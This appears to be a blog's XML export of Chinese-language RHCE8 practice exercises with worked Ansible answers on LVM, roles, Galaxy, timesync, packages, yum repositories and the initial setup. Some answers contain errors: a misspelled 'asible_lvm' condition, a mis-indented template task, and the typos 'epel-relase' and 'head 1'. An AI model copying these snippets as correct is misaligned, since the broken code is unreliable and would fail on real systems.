            
            <tag> template </tag>
            
            <tag> RHCE </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>创建和使用逻辑卷</title>
      <link href="/archives/linux/RHCE/Ansible-create-and-use-lv.html"/>
      <url>/archives/linux/RHCE/Ansible-create-and-use-lv.html</url>
      
        <content type="html"><![CDATA[<h4 id="RHCE8-练习题：创建和使用逻辑卷"><a href="#RHCE8-练习题：创建和使用逻辑卷" class="headerlink" title="RHCE8 练习题：创建和使用逻辑卷"></a>RHCE8 练习题：创建和使用逻辑卷</h4><p>创建一个名为 <strong><code>/home/student/ansible/lv.yml</code></strong> 的 playbook，它将在所有受管节点上运行，以及执行下列任务：</p><ul><li>创建符合以下要求的逻辑卷：<ul><li>逻辑卷创建在 <strong><code>research</code></strong> 卷组中</li><li>逻辑卷名称为 <strong><code>data</code></strong></li><li>逻辑卷大小为 <strong><code>5000MiB</code></strong></li></ul></li><li>使用 <strong><code>ext4</code></strong> 文件系统格式化逻辑卷</li><li>如果无法创建请求的逻辑卷大小，应显示错误信息<ul><li><strong><code>Could not create logical volume of that size</code></strong></li><li>并且应 改为 使用大小 <strong><code>800MiB</code></strong></li></ul></li><li>如果卷组 <strong><code>research</code></strong> 不存在，应显示错误信息，<ul><li><strong><code>Volume group done not exist</code></strong></li></ul></li><li>不要以任何方式挂载逻辑卷</li></ul><hr><h4 id="Answer"><a href="#Answer" class="headerlink" title="Answer"></a>Answer</h4><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">vim /home/student/ansible/lv.yml</span><br></pre></td></tr></table></figure><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="meta">---</span></span><br><span class="line"><span class="bullet">-</span> <span class="attr">name:</span> <span class="string">create</span> <span class="string">lv</span></span><br><span class="line">  <span class="attr">hosts:</span> <span class="string">all</span></span><br><span class="line">  <span class="attr">tasks:</span></span><br><span class="line">    <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">create</span> <span class="string">lv</span></span><br><span class="line">      <span class="attr">block:</span></span><br><span class="line">        <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">create</span> <span class="string">lv</span> <span class="string">5000m</span></span><br><span class="line">          <span class="attr">lvol:</span></span><br><span class="line">            <span class="attr">lv:</span> <span class="string">data</span></span><br><span class="line">            <span class="attr">vg:</span> <span class="string">research</span></span><br><span class="line">            <span class="attr">size:</span> <span class="string">5000m</span></span><br><span class="line">      <span class="attr">rescue:</span></span><br><span class="line">        <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">error</span> <span class="string">5000m</span></span><br><span class="line">          <span class="attr">debug:</span></span><br><span class="line">            <span class="attr">msg:</span> <span class="string">&quot;Could not create logical volume of that size&quot;</span></span><br><span class="line">        <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">create</span> <span class="string">lv</span> <span class="string">800m</span></span><br><span class="line">          <span class="attr">lvol:</span></span><br><span class="line">            <span class="attr">lv:</span> <span class="string">data</span></span><br><span class="line">            <span class="attr">vg:</span> <span class="string">research</span></span><br><span class="line">            <span class="attr">size:</span> <span class="string">800m</span></span><br><span class="line">      <span class="attr">always:</span> </span><br><span class="line">        <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">format</span> <span class="string">filesystem</span></span><br><span class="line">          <span class="attr">filesystem:</span></span><br><span class="line">            <span class="attr">fstype:</span> <span class="string">ext4</span></span><br><span class="line">            <span class="attr">dev:</span> <span class="string">/dev/research/data</span></span><br><span class="line">      <span class="attr">when:</span> <span class="string">ansible_lvm.vgs.research</span> <span class="string">is</span> <span class="string">defined</span></span><br><span class="line">    <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">research</span> <span class="string">is</span> <span class="string">not</span> <span class="string">exist</span></span><br><span class="line">      <span class="attr">debug:</span></span><br><span class="line">        <span class="attr">msg:</span> <span class="string">&quot;Volume group done not exist&quot;</span> </span><br><span class="line">      <span class="attr">when:</span> <span class="string">asible_lvm.vgs.research</span> <span class="string">is</span> <span class="string">not</span> <span class="string">defined</span></span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">ansible-playbook lv.yml</span><br></pre></td></tr></table></figure><h4 id="验证"><a href="#验证" class="headerlink" title="验证"></a>验证</h4><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">ansible all  -a <span class="string">&#x27;lvs&#x27;</span></span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/11/651dd1eb337b5042ce6f84e8abea5f1db20136be33d7629f488bcab7f9be07b4.jpg" alt="Ansible-create-and-use-lv-0"></p>]]></content>
      
      
      <categories>
          
          <category> linux </category>
          
          <category> RHCE </category>
          
      </categories>
      
      
        <tags>
            
            <tag> ansible </tag>
            
            <tag> RHCE </tag>
            
            <tag> lvm </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Ansible Galaxy使用角色</title>
      <link href="/archives/linux/RHCE/Ansible-use-roles.html"/>
      <url>/archives/linux/RHCE/Ansible-use-roles.html</url>
      
        <content type="html"><![CDATA[<h4 id="RHCE8-练习题：从Ansible-Galaxy使用角色"><a href="#RHCE8-练习题：从Ansible-Galaxy使用角色" class="headerlink" title="RHCE8 练习题：从Ansible Galaxy使用角色"></a>RHCE8 练习题：从Ansible Galaxy使用角色</h4><p>根据下列要求，创建一个名为 <code>/home/student/ansible/roles.yml</code> 的 playbook ：</p><ul><li>playbook 中包含一个play，该play在 <code>balancers</code> 主机组中的主机上运行，并使用 <code>balancer</code> 角色<ul><li>此角色配置一项服务，以在 <code>webservers</code> 主机组中的主机之间做 <code>web负载均衡</code></li><li><code>balancers</code> 主机组中的主机浏览 <code>http://workstation.lab.example.com</code> 会在 <code>webservers</code> 主机组之间进行切换</li></ul></li><li>playbook中包含一个play，该play在 <code>webservers</code> 主机组中主机上运行并使用 <code>phpinfo</code> 角色<ul><li>通过URL <code>/hello.php</code> 浏览到 <code>webservers</code> 主机组中的主机将生成以下输出：<ul><li><code>Hello PHP World from FQDN</code></li><li>其中<code>FQDN</code>是主机完全限定名称</li></ul></li><li>例如：访问 <code>http://serverc.lab.example.com/hello.php</code> 会生成以下输出：<ul><li><code>PHP World from serverc.example.com</code></li><li><code>phpinfo......</code></li></ul></li></ul></li></ul><hr><h4 id="Answer"><a href="#Answer" class="headerlink" title="Answer"></a>Answer</h4><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">vim /home/student/ansible/roles.yml</span><br></pre></td></tr></table></figure><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="meta">---</span></span><br><span class="line"><span class="bullet">-</span> <span class="attr">name:</span> <span class="string">gater</span> <span class="string">facts</span></span><br><span class="line">  <span class="attr">hosts:</span> <span class="string">webservers</span></span><br><span class="line"></span><br><span class="line"><span class="bullet">-</span> <span class="attr">name:</span> <span class="string">use</span> <span class="string">balancer</span></span><br><span class="line">  <span class="attr">hosts:</span> <span class="string">balancers</span></span><br><span class="line">  <span class="attr">roles:</span></span><br><span class="line">    <span class="bullet">-</span> <span class="string">balancer</span></span><br><span class="line"></span><br><span class="line"><span class="bullet">-</span> <span class="attr">name:</span> <span class="string">use</span> <span class="string">phpinfo</span></span><br><span class="line">  <span class="attr">hosts:</span> <span class="string">webservers</span></span><br><span class="line">  <span class="attr">roles:</span></span><br><span class="line">    <span class="bullet">-</span> <span class="string">phpinfo</span></span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">ansible-playbook roles.yml</span><br></pre></td></tr></table></figure><h4 id="验证"><a href="#验证" class="headerlink" title="验证"></a>验证</h4><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">curl workstation  <span class="comment">#每次访问IP会进行切换，达到负载均衡</span></span><br><span class="line">curl serverc/hello.php | <span class="built_in">head</span> 1 <span class="comment"># 查看内容，或者通过浏览器查看</span></span><br><span class="line">firefox serverc.lab.example.com/hello.php</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/11/2e9795655401bfd08d3fc2119ba0b21505207c6e2137c72ad2ccef807521309c.jpg" alt="Ansible-use-roles-0"></p>]]></content>
      
      
      <categories>
          
          <category> linux </category>
          
          <category> RHCE </category>
          
      </categories>
      
      
        <tags>
            
            <tag> Ansible </tag>
            
            <tag> RHCE </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Andsible 创建和使用角色</title>
      <link href="/archives/linux/RHCE/Ansible-create-roles.html"/>
      <url>/archives/linux/RHCE/Ansible-create-roles.html</url>
      
        <content type="html"><![CDATA[<h4 id="RHCE8-练习题：创建和使用角色"><a href="#RHCE8-练习题：创建和使用角色" class="headerlink" title="RHCE8 练习题：创建和使用角色"></a>RHCE8 练习题：创建和使用角色</h4><p>根据下列要求在 <strong><code>/home/student/ansible/roles</code></strong> 中创建名为 <strong><code>apache</code></strong> 的角色：</p><ul><li><strong><code>httpd</code></strong> 软件包已安装，设为在系统启动时**<code>自动启动</code>**</li><li>防火墙已启用并正在运行，并使用 <strong>允许访问 <code>web服务器</code></strong> 的规则</li><li>模板文件 <strong><code>index.html.j2</code></strong> 用于创建 <strong><code>/var/www/html/index.html</code></strong> 具有以下输出内容：<ul><li><strong><code>Welcome to HOSTNAME on IPADDRESS</code></strong></li><li><strong><code>HOSTNAME</code></strong>　是受管节点的完全限定域名，</li><li><strong><code>IPADDRESS</code></strong>　是受管节点的IP地址</li></ul></li><li>按照下方所属，创建一个使用此角色的playbook，<strong><code>/home/student/ansible/newrole.yml</code></strong><ul><li>该playbook 在 <strong><code>webservers</code></strong> 主机组中 的主机上运行</li></ul></li></ul><hr><h4 id="Answer"><a href="#Answer" class="headerlink" title="Answer"></a>Answer</h4><p>创建apache角色并编辑</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">cd</span> /home/student/ansible/roles</span><br><span class="line">ansible-galaxy init apache</span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">vim apache/tasks/main.yml</span><br></pre></td></tr></table></figure><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="meta">---</span></span><br><span class="line"><span class="bullet">-</span> <span class="attr">name:</span> <span class="string">install</span> <span class="string">apache</span></span><br><span class="line">  <span class="attr">yum:</span></span><br><span class="line">    <span class="attr">name:</span> <span class="string">httpd</span></span><br><span class="line"><span class="bullet">-</span> <span class="attr">name:</span> <span class="string">start</span> <span class="string">httpd</span> <span class="string">firewalld</span></span><br><span class="line">  <span class="attr">service:</span> </span><br><span class="line">    <span class="attr">name:</span> <span class="string">&quot;<span class="template-variable">&#123;&#123; item &#125;&#125;</span>&quot;</span></span><br><span class="line">    <span class="attr">state:</span> <span class="string">started</span></span><br><span class="line">    <span class="attr">enabled:</span> <span class="literal">yes</span></span><br><span class="line">  <span class="attr">loop:</span></span><br><span class="line">    <span class="bullet">-</span> <span class="string">httpd</span></span><br><span class="line">    <span class="bullet">-</span> <span class="string">firewalld</span></span><br><span class="line"><span class="bullet">-</span> <span class="attr">name:</span> <span class="string">firewalld</span> <span class="string">port</span> <span class="string">add</span></span><br><span class="line">  <span class="attr">firewalld:</span></span><br><span class="line">    <span class="attr">service:</span> <span class="string">http</span></span><br><span class="line">    <span class="attr">immediate:</span> <span class="literal">yes</span></span><br><span class="line">    <span class="attr">permanent:</span> <span class="literal">yes</span></span><br><span class="line">    <span class="attr">state:</span> <span class="string">enabled</span></span><br><span class="line"><span class="bullet">-</span> <span class="attr">name:</span> <span class="string">j2</span> <span class="string">template</span></span><br><span class="line">  <span class="attr">template:</span></span><br><span class="line">  <span class="attr">src:</span> <span class="string">index.html.j2</span></span><br><span class="line">  <span class="attr">dest:</span> <span class="string">/var/www/html/index.html</span></span><br></pre></td></tr></table></figure><p>newrole.yml playbook 编写</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">vim /home/student/ansible/newrole.yml</span><br></pre></td></tr></table></figure><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="meta">---</span></span><br><span class="line"><span class="bullet">-</span> <span class="attr">name:</span> <span class="string">start</span> <span class="string">apache</span></span><br><span class="line">  <span class="attr">hosts:</span> <span class="string">webservers</span></span><br><span class="line">  <span class="attr">roles:</span></span><br><span class="line">    <span class="bullet">-</span> <span class="string">apache</span></span><br></pre></td></tr></table></figure><p>模板文件index.html.j2</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">vim /home/student/ansible/roles/apache/templates/index.html.j2</span><br></pre></td></tr></table></figure><figure class="highlight vim"><table><tr><td class="code"><pre><span class="line">Welcome <span class="keyword">to</span> &#123;&#123; ansible_fqdn &#125;&#125; <span class="keyword">on</span> &#123;&#123;ansible_default_ipv4.address&#125;&#125;</span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">ansible-playbook newrole.yml</span><br></pre></td></tr></table></figure><h4 id="验证"><a href="#验证" class="headerlink" title="验证"></a>验证</h4><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">curl serverc</span><br><span class="line">curl serverd</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/11/35f7d657ad88dade3f55b07efc6e0f40f65928712c5ca9c002e2dd166d647ccf.jpg" alt="Ansible-create-use-roles-1"></p>]]></content>
      
      
      <categories>
          
          <category> linux </category>
          
          <category> RHCE </category>
          
      </categories>
      
      
        <tags>
            
            <tag> ansible </tag>
            
            <tag> RHCE </tag>
            
            <tag> ansible-role </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>使用Ansible Galaxy下载安装角色</title>
      <link href="/archives/linux/RHCE/Ansible-galaxy.html"/>
      <url>/archives/linux/RHCE/Ansible-galaxy.html</url>
      
        <content type="html"><![CDATA[<h4 id="RHCE8-练习题：使用-Ansible-Galaxy-下载角色"><a href="#RHCE8-练习题：使用-Ansible-Galaxy-下载角色" class="headerlink" title="RHCE8 练习题：使用 Ansible Galaxy 下载角色"></a>RHCE8 练习题：使用 Ansible Galaxy 下载角色</h4><p>使用 <strong>Ansible Galaxy</strong> 和 要求文件 <strong><code>/home/student/ansible/roles/requirements.yml</code></strong> 从以下URL下载角色并安装到 <strong><code>/home/student/ansible/roles</code></strong>:</p><ul><li><strong><code>http://materials.example.com/cd/exam_rhce8/haproxy.tar</code></strong> 此角色的名称应当为 <strong><code>balancer</code></strong></li><li><strong><code>http://materials.example.com/cd/exam_rhce8/phpinfo.tar</code></strong> 此角色的名称应该为 <strong><code>phpinfo</code></strong></li></ul><hr><h4 id="Answer"><a href="#Answer" class="headerlink" title="Answer"></a>Answer</h4><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">vim /home/student/ansible/roles/requirements.yml</span><br></pre></td></tr></table></figure><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="meta">---</span></span><br><span class="line"><span class="bullet">-</span> <span class="attr">src:</span> <span class="string">http://materials.example.com/cd/exam_rhce8/haproxy.tar</span></span><br><span class="line">  <span class="attr">name:</span> <span class="string">balancer</span></span><br><span class="line"><span class="bullet">-</span> <span class="attr">src:</span> <span class="string">http://materials.example.com/cd/exam_rhce8/phpinfo.tar</span></span><br><span class="line">  <span class="attr">name:</span> <span class="string">phpinfo</span></span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">cd</span> /home/student/ansible</span><br><span class="line">ansible-galaxy install -r roles/requirements.yml</span><br></pre></td></tr></table></figure><h4 id="验证"><a href="#验证" class="headerlink" title="验证"></a>验证</h4><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">ll roles/</span><br><span class="line">ansible-galaxy list</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/11/d43608405bb4789353d2727ee3de455e42d700b24ce6589e5fbbe2bbba8fca99.jpg" alt="Ansible-galaxy-0"></p>]]></content>
      
      
      <categories>
          
          <category> linux </category>
          
          <category> RHCE </category>
          
      </categories>
      
      
        <tags>
            
            <tag> Ansible </tag>
            
            <tag> RHCE </tag>
            
            <tag> Ansible-Galaxy </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>使用RHEL系统角色timesync</title>
      <link href="/archives/linux/RHCE/Ansible-system-roles.html"/>
      <url>/archives/linux/RHCE/Ansible-system-roles.html</url>
      
        <content type="html"><![CDATA[<h4 id="RHCE8-练习题：使用RHEL系统角色"><a href="#RHCE8-练习题：使用RHEL系统角色" class="headerlink" title="RHCE8 练习题：使用RHEL系统角色"></a>RHCE8 练习题：使用RHEL系统角色</h4><p>安装RHEL系统角色软件包，并创建名称为 <strong>&#x2F;home&#x2F;student&#x2F;ansible&#x2F;timesync.yml</strong> ,符合以下条件的 playbook</p><ul><li>在<strong>所有</strong>受管节点上运行</li><li>使用 <strong>timesync</strong></li><li>配置该角色，以使用当前有效的<strong>NTP</strong></li><li>配置该角色，以使用时间服务器 <strong>172.25.254.254</strong></li><li>配置该角色，以启用 <strong>iburst</strong> 参数</li></ul><hr><h4 id="Answer"><a href="#Answer" class="headerlink" title="Answer"></a>Answer</h4><p>安装RHEL系统角色并复制到 ansible&#x2F;roles下</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">sudo</span> yum -y install rhel-system-roles</span><br><span class="line"><span class="built_in">mkdir</span> roles</span><br><span class="line"><span class="built_in">cp</span> -a /usr/share/ansible/roles/rhel-system-roles.timesync roles/timesync</span><br><span class="line">ansible-galaxy list <span class="comment">#查看是否列出</span></span><br></pre></td></tr></table></figure><p>编写playbook</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">vim timesync.yml</span><br></pre></td></tr></table></figure><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="meta">---</span></span><br><span class="line"><span class="bullet">-</span> <span class="attr">name:</span> <span class="string">use</span> <span class="string">timesync</span></span><br><span class="line">  <span class="attr">hosts:</span> <span class="string">all</span></span><br><span class="line">  <span class="attr">vars:</span></span><br><span class="line">    <span class="attr">timesync_ntp_servers:</span></span><br><span class="line">      <span class="bullet">-</span> <span class="attr">hostname:</span> <span class="number">172.25</span><span class="number">.254</span><span class="number">.254</span></span><br><span class="line">        <span class="attr">iburst:</span> <span class="literal">yes</span></span><br><span class="line">  <span class="attr">roles:</span></span><br><span class="line">    <span class="bullet">-</span> <span class="string">timesync</span></span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">ansible-playbook timesync.yml</span><br></pre></td></tr></table></figure><p>验证</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">ansible all -a <span class="string">&#x27;chronyc sources -v&#x27;</span></span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/11/0eb77f948fad10f63ad6e67c4d080ef85ef43ce18f564d75ce893136f9860501.jpg" alt="Ansible-system-roles-1"></p>]]></content>
      
      
      <categories>
          
          <category> linux </category>
          
          <category> RHCE </category>
          
      </categories>
      
      
        <tags>
            
            <tag> RHCE </tag>
            
            <tag> RHEL </tag>
            
            <tag> timesync </tag>
            
            <tag> system-role </tag>
            
            <tag> iburst </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Ansible安装软件包</title>
      <link href="/archives/linux/RHCE/Ansible-install-soft.html"/>
      <url>/archives/linux/RHCE/Ansible-install-soft.html</url>
      
        <content type="html"><![CDATA[<h4 id="RHCE8-练习题：安装软件包"><a href="#RHCE8-练习题：安装软件包" class="headerlink" title="RHCE8 练习题：安装软件包"></a>RHCE8 练习题：安装软件包</h4><p>创建一个名为 <strong><code>/home/student/ansible/packages.yml</code></strong> 的 playbook：</p><ul><li>将 <strong><code>php</code></strong> 和 <strong><code>mariadb</code></strong> 软件包 安装到 <strong><code>dev</code></strong> , <strong><code>test</code></strong> 和 <strong><code>prod</code></strong> 主机组中的主机上</li><li>将 <strong><code>RPM Development Tools</code></strong> 软件包组 安装到 **<code>dev</code>**主机组 中的主机上</li><li>将 **<code>dev</code>**主机组 中主机上的所有软件包啊更新为最新版本</li></ul><hr><p>playbook检查和使用yml</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">ansible-playbook xxx.yml --syntax-check</span><br><span class="line">ansible-playbook xxx.yml</span><br></pre></td></tr></table></figure><h4 id="Answer"><a href="#Answer" class="headerlink" title="Answer"></a>Answer</h4><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">vim /home/student/ansible/packages.yml</span><br></pre></td></tr></table></figure><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="meta">---</span></span><br><span class="line"><span class="bullet">-</span> <span class="attr">name:</span> <span class="string">install</span> <span class="string">packages</span></span><br><span class="line">  <span class="attr">hosts:</span> <span class="string">dev,test,prod</span></span><br><span class="line">  <span class="attr">tasks:</span></span><br><span class="line">    <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">install</span> <span class="string">php</span> <span class="string">mariadb</span></span><br><span class="line">      <span class="attr">yum:</span></span><br><span class="line">        <span class="attr">name:</span> <span class="string">php,mariadb</span></span><br><span class="line">    <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">install</span> <span class="string">packages</span> <span class="string">groups</span></span><br><span class="line">      <span class="attr">yum:</span></span><br><span class="line">        <span class="attr">name:</span> <span class="string">&quot;@RPM Development Tools&quot;</span></span><br><span class="line">      <span class="attr">when:</span> <span class="string">inventory_hostname</span> <span class="string">in</span> <span class="string">groups[&#x27;dev&#x27;]</span></span><br><span class="line">    <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">upgrade</span> <span class="string">all</span> <span class="string">packages</span></span><br><span class="line">      <span class="attr">yum:</span></span><br><span class="line">        <span class="attr">name:</span> <span class="string">&#x27;*&#x27;</span></span><br><span class="line">        <span class="attr">state:</span> <span class="string">latest</span></span><br><span class="line">      <span class="attr">when:</span> <span class="string">inventory_hostname</span> <span class="string">in</span> <span class="string">groups.dev</span></span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">ansible-playbook packages.yml</span><br></pre></td></tr></table></figure><h4 id="验证"><a href="#验证" class="headerlink" title="验证"></a>验证</h4><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">ansible dev -m shell -a <span class="string">&quot;rpm -qa | grep php &quot;</span></span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/11/1e272bd159f4764d966f0c85d9766a9a8fb6a5b774f27c5ab1a550f682b92280.jpg" alt="Ansible_install_soft-1"></p>]]></content>
      
      
      <categories>
          
          <category> linux </category>
          
          <category> RHCE </category>
          
      </categories>
      
      
        <tags>
            
            <tag> Ansible </tag>
            
            <tag> RHCE </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>创建和运行Ansible临时命令</title>
      <link href="/archives/linux/RHCE/Ansible-adhoc.html"/>
      <url>/archives/linux/RHCE/Ansible-adhoc.html</url>
      
        <content type="html"><![CDATA[<h4 id="RHCE8-练习题：创建和运行Ansible临时命令"><a href="#RHCE8-练习题：创建和运行Ansible临时命令" class="headerlink" title="RHCE8 练习题：创建和运行Ansible临时命令"></a>RHCE8 练习题：创建和运行Ansible临时命令</h4><p>作为系统管理员，您需要在受管节点上安装软件。 按照正文所述，创建一个名为 <code>/home/student/ansible/adhoc.sh</code> 的shell脚本，该脚本将使用ansible临时命令在各个受管节点上安装yum存储库。</p><ol><li>储存库1<ul><li>存储库的名称为 <code>EX294_BASE</code></li><li>描述为 <code>EX294 base software</code></li><li>基础URL为 <code>http://content.example.com/rhel8.0/x86_64/dvd/BaseOS</code></li><li>GPG 签名检查为： <code>启用</code>状态</li><li>GPG 密钥URL为 <code>http://content.example.com/rhel8.0/x86_64/dvd/RPM-GPG-KEY-redhat-release</code></li><li>存储库状态为： <code>启用</code>状态</li></ul></li><li>储存库2<ul><li>存储库的名称为 <code>EX294_STREAM</code></li><li>描述为 <code>EX294 stream software</code></li><li>基础URL为 <code>http://content.example.com/rhel8.0/x86_64/dvd/AppStream</code></li><li>GPG 签名检查为： <code>启用</code>状态</li><li>GPG 密钥URL为 <code>http://content.example.com/rhel8.0/x86_64/dvd/RPM-GPG-KEY-redhat-release</code></li><li>存储库状态为： <code>启用</code>状态</li></ul></li></ol><hr><p>查找模块及模块详细信息</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">ansible-doc -l | grep xxx</span><br><span class="line">ansible-doc xxx</span><br><span class="line">ansible 主机或主机组 -m  模块名 -a 命令或命令组</span><br></pre></td></tr></table></figure><h4 id="Answer"><a href="#Answer" class="headerlink" title="Answer"></a>Answer</h4><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">cd</span> ~/ansible</span><br><span class="line">vim adhoc.sh <span class="comment">####符号中为文件内容</span></span><br></pre></td></tr></table></figure><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="comment">#!/bin/bash</span></span><br><span class="line"><span class="string">ansible</span> <span class="string">all</span> <span class="string">\</span></span><br><span class="line">    <span class="string">-m</span> <span class="string">yum_repository</span> <span class="string">\</span></span><br><span class="line">    <span class="string">-a</span> <span class="string">&#x27;name=&quot;EX294_BASE&quot; \</span></span><br><span class="line"><span class="string">        description=&quot;EX294 base softeware&quot; \</span></span><br><span class="line"><span class="string">        baseurl=&quot;http://content.example.com/rhel8.0/x86_64/dvd/BaseOS&quot; \</span></span><br><span class="line"><span class="string">        enabled=yes \</span></span><br><span class="line"><span class="string">        gpgcheck=yes \</span></span><br><span class="line"><span class="string">        gpgkey=&quot;http://content.example.com/rhel8.0/x86_64/dvd/RPM-GPG-KEY-redhat-release&quot;&#x27;</span></span><br><span class="line"><span class="string">ansible</span> <span class="string">all</span> <span class="string">\</span></span><br><span class="line">    <span class="string">-m</span> <span class="string">yum_repository</span> <span class="string">\</span></span><br><span class="line">    <span class="string">-a</span> <span class="string">&#x27;name=&quot;EX294_STREAM&quot; \</span></span><br><span class="line"><span class="string">        description=&quot;EX294 stream software&quot; \</span></span><br><span class="line"><span class="string">        baseurl=&quot;http://content.example.com/rhel8.0/x86_64/dvd/AppStream&quot; \</span></span><br><span class="line"><span class="string">        enabled=yes \</span></span><br><span class="line"><span class="string">        gpgcheck=yes \</span></span><br><span class="line"><span class="string">        gpgkey=&quot;http://content.example.com/rhel8.0/x86_64/dvd/RPM-GPG-KEY-redhat-release&quot;&#x27;</span></span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">bash adhoc.sh</span><br></pre></td></tr></table></figure><h4 id="验证"><a href="#验证" class="headerlink" title="验证"></a>验证</h4><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">ansible all -a <span class="string">&#x27;yum repolist&#x27;</span></span><br><span class="line">ansible <span class="built_in">test</span> -m shell -a <span class="string">&#x27;yum list|wc -l&#x27;</span></span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/11/601d0c39b8f18e6f7e15251c3c3aa06b58417fdddb358c1ed4189f2758cf3d42.jpg" alt="Ansible_adhoc-3"></p>]]></content>
      
      
      <categories>
          
          <category> linux </category>
          
          <category> RHCE </category>
          
      </categories>
      
      
        <tags>
            
            <tag> Ansible </tag>
            
            <tag> adhoc </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>RHCE8练习题1. 安装配置Ansible</title>
      <link href="/archives/linux/RHCE/Ansible-install-and-setting.html"/>
      <url>/archives/linux/RHCE/Ansible-install-and-setting.html</url>
      
        <content type="html"><![CDATA[<h4 id="RHCE8-练习题：安装配置Ansible"><a href="#RHCE8-练习题：安装配置Ansible" class="headerlink" title="RHCE8 练习题：安装配置Ansible"></a>RHCE8 练习题：安装配置Ansible</h4><p>按照下方所述，在控制节点 <code>control.example.com</code>上安装和配置ansible：</p><ul><li>按照所需的软件包</li><li>创建名为 <code>/home/student/ansible/inventory</code> 的静态清单文件，以满足下以下要求：<ul><li><code>servera</code> 是 <code>dev</code>  主机组的成员</li><li><code>serverb</code> 是 <code>test</code> 主机组的成员</li><li><code>serverc</code> <code>serverd</code> 是 <code>prod</code> 主机组的成员</li><li><code>workstation</code> 是 <code>balancers</code> 主机组的成员</li><li>prod组 是 <code>webservers</code> 主机组的成员</li></ul></li><li>创建名为 <code>/home/student/ansible/ansible.cfg</code> 的配置文件，以满足以下要求：<ul><li>主机清单文件为 <code>/home/student/ansible/inventory</code></li><li>playbook中使用的角色的位置包括 <code>/home/student/ansible/roles</code></li></ul></li></ul><hr><h4 id="Answer"><a href="#Answer" class="headerlink" title="Answer"></a>Answer</h4><p>开启所有虚拟主机</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">rht-vmctl start all</span><br><span class="line">rht-vmctl status all     <span class="comment">#查看虚拟主机状态</span></span><br><span class="line">rht-vmctl restart xxxx   <span class="comment">#重启某台虚拟主机</span></span><br><span class="line">rht-vmctl stop all       <span class="comment">#停止所有虚拟主机</span></span><br></pre></td></tr></table></figure><p>安装ansible</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">ssh bastion</span><br><span class="line"><span class="built_in">sudo</span> yum install epel-relase -y</span><br><span class="line"><span class="built_in">sudo</span> yum install ansible -y</span><br></pre></td></tr></table></figure><p>创建文件夹并配置tab为两个空格</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">mkdir</span> <span class="variable">$HOME</span>/ansible &amp;&amp; <span class="built_in">cd</span> <span class="variable">$_</span> 或者 <span class="built_in">mkdir</span> ~/ansible &amp;&amp; <span class="built_in">cd</span> <span class="variable">$_</span></span><br><span class="line"><span class="built_in">echo</span> <span class="string">&quot;set ts=2 ai&quot;</span> &gt;&gt; ~/.vimrc</span><br><span class="line"><span class="built_in">source</span> 